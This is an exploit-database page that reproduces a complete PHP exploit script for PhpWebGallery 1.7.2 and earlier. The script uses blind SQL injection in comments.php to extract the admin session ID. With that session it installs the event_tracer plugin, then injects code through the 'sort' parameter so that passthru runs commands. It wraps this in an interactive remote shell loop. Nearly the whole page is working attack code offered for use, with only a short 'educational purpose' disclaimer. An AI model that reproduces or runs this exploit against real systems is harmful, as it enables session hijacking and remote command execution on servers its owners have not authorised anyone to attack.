Lucene search
K

PhpWebGallery <= 1.7.2 Session Hijacking / Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

PhpWebGallery <= 1.7.2 Remote Session Hijacking / Code Execution Exploit. Vulnerable code in /plugins/event_tracer/event_list.ph

Code

                                                &#60;?php

/*
	------------------------------------------------------------------------
	PhpWebGallery &#60;= 1.7.2 Remote Session Hijacking / Code Execution Exploit
	------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.phpwebgallery.net/
	details..: works with at least two rows in _comments table
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /plugins/event_tracer/event_list.php
	
	60.	$sort= isset($_GET[&#39;sort&#39;]) ? $_GET[&#39;sort&#39;] : 1;
	61.	usort(
	62.	  $events,
	63.	  create_function( &#39;$a,$b&#39;, &#39;return $a[&#39;.$sort.&#39;]&#62;$b[&#39;.$sort.&#39;];&#39; )
	64.	  );
	
	An attacker could be able to inject and execute PHP code through $_GET[&#39;sort&#39;], that is passed
	to create_function() at line 63 (see http://www.securityfocus.com/bid/31398). Only admin can
	access to the plugins management interface, but the attacker might be able to retrieve a valid
	admin session id using the SQL injection bug in comments.php (see lines 325-340)
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;,5);

define(STDIN, fopen(&#34;php://stdin&#34;, &#34;r&#34;));
define(PATTERN, &#34;/&#60;span class=\&#34;author\&#34;&#62;(.*)&#60;\/span&#62; -/&#34;);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print &#34;\n[-] No response from {$host}:80 Trying again...\n&#34;;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function check_target()
{
	global $host, $path, $prefix, $default_record;
	
	$packet  = &#34;GET {$path}comments.php?sort_by=%s HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Cookie: pwg_id=&#34;.md5(&#34;foo&#34;).&#34;\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;

	preg_match(&#34;/FROM (.*)image_category/&#34;, http_send($host, sprintf($packet, &#34;foo&#34;)), $match);
	$prefix = $match[1];
	
	preg_match(PATTERN, http_send($host, sprintf($packet, &#34;id/**/LIMIT/**/1/*&#34;)), $match);
	$default_record = $match[1];
	
	preg_match(PATTERN, http_send($host, sprintf($packet, &#34;author/**/LIMIT/**/1/*&#34;)), $match);
	if (!strlen($default_record) || $default_record == $match[1]) die(&#34;\n[-] Exploit failed...\n&#34;);
}

function encodeSQL($sql)
{
	for ($i = 0, $n = strlen($sql); $i &#60; $n; $i++) $encoded .= dechex(ord($sql[$i]));
	return &#34;CONCAT(0x{$encoded})&#34;;
}

function get_sid()
{
	global $host, $path, $prefix, $default_record;
	
	$chars = array_merge(array(0), range(48, 57), range(97, 102)); // 0-9 a-z
	$index = 1;
	$sid   = &#34;&#34;;
	
	$packet  = &#34;GET {$path}comments.php?sort_by=%s HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Cookie: pwg_id=&#34;.md5(&#34;foo&#34;).&#34;\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;
	
	print &#34;\n[-] Fetching admin SID: &#34;;
	
	while (!strpos($sid, chr(0)))
	{
		for ($i = 0, $n = count($chars); $i &#60;= $n; $i++)
		{
			if ($i == $n) die(&#34;\n\n[-] Exploit failed...try later!\n&#34;);
			
			$sql  = &#34;(SELECT/**/IF(ASCII(SUBSTR(id,{$index},1))={$chars[$i]},author,id)/**/FROM/**/{$prefix}sessions&#34;.
				&#34;/**/WHERE/**/data/**/LIKE/**/&#34;.encodeSQL(&#34;pwg_uid|i:1;&#34;).&#34;/**/LIMIT/**/1)/**/LIMIT/**/1/*&#34;;
					
			preg_match(PATTERN, http_send($host, sprintf($packet, $sql)), $match);	
			if ($match[1] != $default_record) { $sid .= chr($chars[$i]); print chr($chars[$i]); break; }
		}
		
		$index++;
	}
	
	print &#34;\n&#34;;
	return $sid;
}

function check_plugin()
{
	global $host, $path, $sid;
	
	$packet  = &#34;GET {$path}%s HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Cookie: pwg_id={$sid}\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;
	
	// check if the event_tracer plugin isn&#39;t installed
	if (preg_match(&#34;/not active/&#34;, http_send($host, sprintf($packet, &#34;admin.php?page=plugin&section=event_tracer/event_list.php&#34;))))
	{
		http_send($host, sprintf($packet, &#34;admin.php?page=plugins&plugin=event_tracer&action=install&#34;));
		http_send($host, sprintf($packet, &#34;admin.php?page=plugins&plugin=event_tracer&action=activate&#34;));
	}	
}

print &#34;\n+---------------------------------------------------------------------------+&#34;;
print &#34;\n| PhpWebGallery &#60;= 1.7.2 Session Hijacking / Code Execution Exploit by EgiX |&#34;;
print &#34;\n+---------------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
	print &#34;\nUsage...: php $argv[0] host path [sid]\n&#34;;
	print &#34;\nhost....: target server (ip/hostname)&#34;;
	print &#34;\npath....: path to PhpWebGallery directory&#34;;
	print &#34;\nsid.....: a valid admin session id\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];

check_target();

$sid = (isset($argv[3])) ? $argv[3] : get_sid();

check_plugin();

$code	 = &#34;0];}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23&#34;;
$packet  = &#34;GET {$path}admin.php?page=plugin&section=event_tracer/event_list.php&sort={$code} HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: pwg_id={$sid}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
	print &#34;\nphpwebgallery-shell# &#34;;
	$cmd = trim(fgets(STDIN));
	if ($cmd != &#34;exit&#34;)
	{
		$response = http_send($host, sprintf($packet, base64_encode($cmd)));
		preg_match(&#34;/_code_/&#34;, $response) ? print array_pop(explode(&#34;_code_&#34;, $response)) : die(&#34;\n[-] Exploit failed...\n&#34;);
	}
	else break;
}

?&#62;

# milw0rm.com [2008-10-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation